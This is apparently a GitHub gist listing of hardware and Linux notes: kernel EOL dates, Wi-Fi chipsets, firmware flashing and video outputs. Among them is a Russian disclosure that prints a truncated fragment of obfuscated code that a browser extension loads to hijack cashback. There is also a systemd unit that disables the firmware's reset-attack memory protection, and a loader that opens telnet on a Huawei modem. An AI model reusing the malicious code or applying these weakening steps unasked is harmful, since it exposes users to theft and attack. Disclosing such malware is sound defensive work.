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ValdikSS / Android and SLTS kernels.md
Created July 28, 2026 22:09
Android and SLTS kernels

Android common kernels and their EOL dates, from Android documentation.

ACK branch Launch date Support lifetime (years) EOL
android12-5.10 2020-12-13 6 2027-07-01
android13-5.10 2020-12-13 6 2027-07-01
android13-5.15 2021-10-31 6 2028-07-01
android14-5.15 2021-10-31 6 2028-07-01
android14-6.1 2022-12-11 6 2029-07-01
android15-6.6 2023-10-29 4 2028-07-01
@ValdikSS
ValdikSS / Wi-Fi Chipsets.md
Last active August 23, 2026 22:15
Wi-Fi Chipsets
Module Chipset Driver Description Links Comments
Ampak AP6212 Synaptics SYN43436 (Broadcom licensee, BCM43436) brcmfmac, Linux mainline 2.4 GHz
802.11b/g/n SISO
UART/I2S/PCM for Bluetooth 5.4		 Datasheet Used in Raspberry Pi 2w
Ampak AP6256 Synaptics SYN43456 (Broadcom licensee, BCM43456) brcmfmac, Linux mainline 2.4, 5 GHz
802.11a/b/g/n/ac 1x1 SISO
UART/PCM for Bluetooth 5.2		 Datasheet [1], [2] Used in Pinebook Pro
AllWinner AW859CDTech CDW-20U5622 Unisoc UWE5622 (sc2355) uwe5622_bsp_sdio (third-party, not maintained, see Armbian patches) 2.4, 5 GHz802.11a/b/g/n/ac 1x1 MU-MIMO, Bluetooth 5.
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ValdikSS / gcw-zero-adam-firmware.md
Last active December 19, 2025 06:41
GCW Zero flash Adam image

How to flash Adam Image on GCW Zero

You need Linux for that.

  1. Download latest PGv1 Release Image
  2. Unpack xz: xz -d adam_v2.1_PGv1.img.xz, you'll have adam_v2.1_PGv1.img in the same directory
  3. Split image into MBR, bootloader, system partition, data partition:
    • dd if=adam_v2.1_PGv1.img bs=512 count=1 of=mbr.bin
    • dd if=adam_v2.1_PGv1.img bs=512 skip=1 count=30 of=bootloader.bin
  • sudo losetup --show -Pf adam_v2.1_PGv1.img
@ValdikSS
ValdikSS / gist:1f1c71d6eead35a33a57099c26923bee
Last active December 9, 2025 18:35
Браузерное расширение FastProxy загружает с сервера вредоносный код,
перенаправляющий cashback от различных интернет-магазинов автору расширения.
Обфусцированный код:
$guNnnrhIFAMI27BsMFv=function(a){return"string"==typeof $guNnnrhIFAMI27BsMFv.list[a]?$guNnnrhIFAMI27BsMFv.list[a].split("").reverse().join(""):$guNnnrhIFAMI27BsMFv.list[a]},$guNnnrhIFAMI27BsMFv.list=["of\xE6\xFBiht\xFBlru?lxp\xFBepyt\x04u\xDFv?di_txe?re\xECh?htgnel?rekram?\xB7\x04cna\xE6f?urdj\x04man?omorpi\xDF?g\xE6kc\xF4b?tnemucod?urdj\xAB\xD0l\xABapc\xFB\xECl?\xBFH\xC3?g\xE6r\xD1bus?ofnIegnahc?\xEB\x04doNtnerap?\x0FTtes?fOxednI\xD1al\x04saCrewoLot\x04tadpu?\xF4\xC8c\xAB\xC1\xDE\xABaz\x03\xAB\x0FTraelc?\x7Far\xD1ig","\xAEX\xAD*' [:_a\x1F{\xBCV(2\xCD\xF3T\xD4\x1F}\xC9)0005\xBC}\xA6V(\xD3\xDB\xCD\xA63(va\xBE\x06\x1F ;)1\xBCi(ec\x1CT\xA5's\x7Fpo-\xC0-x\xF2Va\xD6(\xE8T\xCAVa\xE7=>i ;1-U\xB5T=\x0E1a\xCAT\xD8\xA51\x17V C\xA5( P\xDD\xC9}\xA3\x1F}\xA6a\xB2Z\xA9Z\xC2Sa-8<Sa-8\xB0x\xB2pa\xA9pa\xC28-\xDE<8-\xDE\xB0d\xB24\xA94\xC2Ra-mh<Ra-mh\xB0
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ValdikSS / disable-reset-attack-mitigation.service
Last active April 21, 2025 13:19
Disable Reset Attack Mitigation (Fedora 27)
[Unit]
Description=Disable Reset Attack Mitigation
[Service]
Type=oneshot
ExecStart=/usr/bin/chattr -i /sys/firmware/efi/efivars/MemoryOverwriteRequestControl-e20939be-32d4-41be-a150-897f85d49829
ExecStop=/bin/bash -c 'echo -ne "\x07\x00\x00\x00\x00" > /sys/firmware/efi/efivars/MemoryOverwriteRequestControl-e20939be-32d4-41be-a150-897f85d49829'
RemainAfterExit=yes
[Install]
@ValdikSS
ValdikSS / huawei-e5885-backup.md
Last active August 4, 2024 13:35
How to backup current firmware on Huawei E5885

Huawei E5885 current firmware backup manual.

  1. Download modified usbloader, which will copy proper busybox into /system/busybox and enable telnetd on your device (will add additional line into /system/autorun.sh). Use it only on E5885, not on other device!
  2. Load it using balong-usbdload. Refer to this disassembling manual.
  3. After loading, wait about one minute, disconnect device from the computer and power off the device holding power button for ~15 seconds.
  4. Insert MicroSD card to the device and power it on.
  5. telnet 192.168.8.1 2323
/system/busybox sh
@ValdikSS
ValdikSS / huawei-fw-list.txt
Last active July 20, 2026 02:08
Huawei firmware files found on update server
==========================================================================
DO NOT WRITE ANY QUESTIONS IN COMMENTS
==========================================================================
This is not appropriate place for discussions. Keep this list FW-only.
I do NOT have any firmware files apart from published here or on 4pda. Please do not contact me for firmware files requests.
This is a list of files found on Huawei update server by brute-forcing URL parameters.
Some firmware files have changelogs. Just change file name to "changelog.xml" in the end of the URL.
@ValdikSS
ValdikSS / gist:175f0f89d40b8689c0eb
Created June 19, 2015 14:42
% xrandr --newmode "3840x2160x49.98" 442.000000 3840 3888 3920 4000 2160 2163 2167 2211 +HSync -VSync
% xrandr --addmode DP1 "3840x2160x49.98"
% xrandr --output DP1 --mode "3840x2160x49.98"
@ValdikSS
ValdikSS / gist:5963db02241d0c0c6219
Created June 18, 2015 12:21
libva info: VA-API version 0.37.0
libva info: va_getDriverName() returns 0
libva info: Trying to open /usr/lib/dri/i965_drv_video.so
libva info: Found init function __vaDriverInit_0_37
libva info: va_openDriver() returns 0
vainfo: VA-API version: 0.37 (libva 1.5.1)
vainfo: Driver version: Intel i965 driver for Intel(R) Sandybridge Mobile - 1.5.1
vainfo: Supported profile and entrypoints
VAProfileMPEG2Simple : VAEntrypointVLD
VAProfileMPEG2Main : VAEntrypointVLD
@ValdikSS
ValdikSS / gist:3326bb37cc4f0e641950
Created June 18, 2015 12:14
Factory Details:
Rank primary (256)
Long-name VA-API H.264 encoder
Klass Codec/Encoder/Video
Description A VA-API based H.264 video encoder
Author Wind Yuan <feng.yuan@intel.com>
Plugin Details:
Name vaapi
Description VA-API based elements